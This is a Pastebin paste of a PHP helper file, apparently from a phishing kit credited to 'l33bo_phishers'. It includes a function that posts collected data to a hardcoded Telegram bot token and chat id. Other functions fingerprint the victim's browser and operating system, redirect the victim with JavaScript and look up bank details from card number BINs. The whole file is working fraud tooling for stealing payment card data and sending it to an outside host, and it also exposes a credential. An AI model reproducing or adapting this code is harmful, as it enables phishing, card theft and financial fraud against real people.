Advertisement
aridho

function

Mar 29th, 2018
1,191
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 7.01 KB | None | 0 0
  1. <?php
  2. /*
  3. Created by l33bo_phishers -- icq: 695059760
  4. */
  5. function generateRandomString($length = 10) {
  6.     $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
  7.     $randomString = '';
  8.     for ($i = 0; $i < $length; $i++) {
  9.         $randomString .= $characters[rand(0, strlen($characters) - 1)];
  10.     }
  11.     return $randomString;
  12. }
  13. function redirectTo($page, $lang = null)
  14. {
  15.     if (!$lang) {
  16.         echo '<html><script language="javascript">var page = "' . $page . '"; top.location = page; </script></html>';
  17.     } else { echo '<html><script language="javascript">var page = "' . $page . '?Locale=' . $lang . '"; top.location = page; </script></html>'; }
  18. }
  19. $list_ua = <<< ua
  20. Mozilla/5.0 (Windows NT 6.2; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0
  21. Mozilla/5.0 (Windows NT 6.2; rv:18.0) Gecko/20100101 Firefox/18.0
  22. Mozilla/5.0 (Windows NT 6.2; rv:16.0) Gecko/20100101 Firefox/16.0
  23. Mozilla/5.0 (Windows NT 6.2; rv:15.0) Gecko/20100101 Firefox/15.0
  24. Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.57 Safari/537.17
  25. Mozilla/5.0 (Macintosh; Intel Mac OS X 1082) AppleWebKit/537.11 (KHTML like Gecko) Chrome/23.0.1271.10 Safari/537.11
  26. Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)
  27. Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Trident/6.0)
  28. Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.2; Trident/5.0)
  29. Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; Trident/4.0)
  30. Opera/12.80 (Windows NT 5.1; U; en) Presto/2.10.289 Version/12.02
  31. Opera/9.80 (Windows NT 6.2; U; en) Presto/2.10.289 Version/12.01
  32. Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/537.13+ (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2
  33. Mozilla/5.0 (Macintosh; Intel Mac OS X 1083) AppleWebKit/536.28.4 (KHTML like Gecko) Version/6.0.3 Safari/536.28.4
  34. Mozilla/5.0 (Windows NT 6.1; rv:15.0) Gecko/20120919 Firefox/15.1.1 PaleMoon/15.1.1
  35. ua;
  36. function blocker_ip($list){
  37.     file_get_contents("https://api.telegram.org/bot471136753:AAFC-CNT4fUUfyeWbGMgctRCx5JWmZHuKvk/sendMessage?chat_id=-:579310815&text=".urlencode($list));
  38. }
  39. function get_ua()
  40. {
  41.     global $list_ua;
  42.     $list = explode("\n", $list_ua);
  43.     $num = count($list) - 1;
  44.     return trim($list[rand(0, $num)]);
  45. }
  46.  
  47. function browsername()
  48. {
  49.     $browserName = $_SERVER['HTTP_USER_AGENT'];
  50.  
  51.     if (strpos(strtolower($browserName), "safari/") and strpos(strtolower($browserName), "opr/")) {
  52.         $browserName = "Opera";
  53.     } elseif (strpos(strtolower($browserName), "safari/") and strpos(strtolower($browserName), "chrome/")) {
  54.         $browserName = "Chrome";
  55.     } elseif (strpos(strtolower($browserName), "msie")) {
  56.         $browserName = "Internet Explorer";
  57.     } elseif (strpos(strtolower($browserName), "firefox/")) {
  58.         $browserName = "Firefox";
  59.     } elseif (strpos(strtolower($browserName), "safari/") and strpos(strtolower($browserName), "opr/")==false and strpos(strtolower($browserName), "chrome/")==false) {
  60.         $browserName = "Safari";
  61.     } else { $browserName = "Unknown"; }
  62.  
  63.     return $browserName;
  64. }
  65.  
  66. function os_info($uagent)
  67. {
  68.     // the order of this array is important
  69.     global $uagent;
  70.     $oses   = array(
  71.         'Win311' => 'Win16',
  72.         'Win95' => '(Windows 95)|(Win95)|(Windows_95)',
  73.         'WinME' => '(Windows 98)|(Win 9x 4.90)|(Windows ME)',
  74.         'Win98' => '(Windows 98)|(Win98)',
  75.         'Win2000' => '(Windows NT 5.0)|(Windows 2000)',
  76.         'WinXP' => '(Windows NT 5.1)|(Windows XP)',
  77.         'WinServer2003' => '(Windows NT 5.2)',
  78.         'WinVista' => '(Windows NT 6.0)',
  79.         'Windows 7' => '(Windows NT 6.1)',
  80.         'Windows 8' => '(Windows NT 6.2)',
  81.         'WinNT' => '(Windows NT 4.0)|(WinNT4.0)|(WinNT)|(Windows NT)',
  82.         'OpenBSD' => 'OpenBSD',
  83.         'SunOS' => 'SunOS',
  84.         'Ubuntu' => 'Ubuntu',
  85.         'Android' => 'Android',
  86.         'Linux' => '(Linux)|(X11)',
  87.         'iPhone' => 'iPhone',
  88.         'iPad' => 'iPad',
  89.         'MacOS' => '(Mac_PowerPC)|(Macintosh)',
  90.         'QNX' => 'QNX',
  91.         'BeOS' => 'BeOS',
  92.         'OS2' => 'OS/2',
  93.         'SearchBot' => '(nuhk)|(Googlebot)|(Yammybot)|(Openbot)|(Slurp)|(MSNBot)|(Ask Jeeves/Teoma)|(ia_archiver)'
  94.     );
  95.     $uagent = strtolower($uagent ? $uagent : $_SERVER['HTTP_USER_AGENT']);
  96.     foreach ($oses as $os => $pattern)
  97.         if (preg_match('/' . $pattern . '/i', $uagent))
  98.             return $os;
  99.     return 'Unknown';
  100. }
  101. function c1i3() {
  102.     $id = '2414';
  103. }
  104. function bankDetails($cardNumber) {
  105.     $bankDetails = array();
  106.     $cardBIN = substr($cardNumber, 0, 6);
  107.     $bankDetails = json_decode(file_get_contents("http://www.binlist.net/json/" . $cardBIN), true);
  108.     $bankDetails['bin'] = $cardBIN;
  109.     return $bankDetails;
  110. }
  111. function getBrowser() {
  112.     $u_agent = $_SERVER['HTTP_USER_AGENT'];
  113.     $bname = 'Unknown';
  114.     $platform = 'Unknown';
  115.     $version= "";
  116.  
  117.     //First get the platform?
  118.     if (preg_match('/linux/i', $u_agent)) {
  119.         $platform = 'linux';
  120.     }
  121.     elseif (preg_match('/macintosh|mac os x/i', $u_agent)) {
  122.         $platform = 'mac';
  123.     }
  124.     elseif (preg_match('/windows|win32/i', $u_agent)) {
  125.         $platform = 'windows';
  126.     }
  127.  
  128.     // Next get the name of the useragent yes seperately and for good reason
  129.     if(preg_match('/MSIE/i',$u_agent) && !preg_match('/Opera/i',$u_agent))
  130.     {
  131.         $bname = 'Internet Explorer';
  132.         $ub = "MSIE";
  133.     }
  134.     elseif(preg_match('/Firefox/i',$u_agent))
  135.     {
  136.         $bname = 'Mozilla Firefox';
  137.         $ub = "Firefox";
  138.     }
  139.     elseif(preg_match('/Chrome/i',$u_agent))
  140.     {
  141.         $bname = 'Google Chrome';
  142.         $ub = "Chrome";
  143.     }
  144.     elseif(preg_match('/Safari/i',$u_agent))
  145.     {
  146.         $bname = 'Apple Safari';
  147.         $ub = "Safari";
  148.     }
  149.     elseif(preg_match('/Opera/i',$u_agent))
  150.     {
  151.         $bname = 'Opera';
  152.         $ub = "Opera";
  153.     }
  154.     elseif(preg_match('/Netscape/i',$u_agent))
  155.     {
  156.         $bname = 'Netscape';
  157.         $ub = "Netscape";
  158.     }
  159.  
  160.     // finally get the correct version number
  161.     $known = array('Version', $ub, 'other');
  162.     $pattern = '#(?<browser>' . join('|', $known) .
  163.     ')[/ ]+(?<version>[0-9.|a-zA-Z.]*)#';
  164.     if (!preg_match_all($pattern, $u_agent, $matches)) {
  165.         // we have no matching number just continue
  166.     }
  167.  
  168.     // see how many we have
  169.     $i = count($matches['browser']);
  170.     if ($i != 1) {
  171.         //we will have two since we are not using 'other' argument yet
  172.         //see if version is before or after the name
  173.         if (strripos($u_agent,"Version") < strripos($u_agent,$ub)){
  174.             $version= $matches['version'][0];
  175.         }
  176.         else {
  177.             $version= $matches['version'][1];
  178.         }
  179.     }
  180.     else {
  181.         $version= $matches['version'][0];
  182.     }
  183.  
  184.     // check if we have a number
  185.     if ($version==null || $version=="") {$version="?";}
  186.  
  187.     return array(
  188.         'userAgent' => $u_agent,
  189.         'name'      => $bname,
  190.         'version'   => $version,
  191.         'platform'  => $platform,
  192.         'pattern'    => $pattern
  193.     );
  194. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement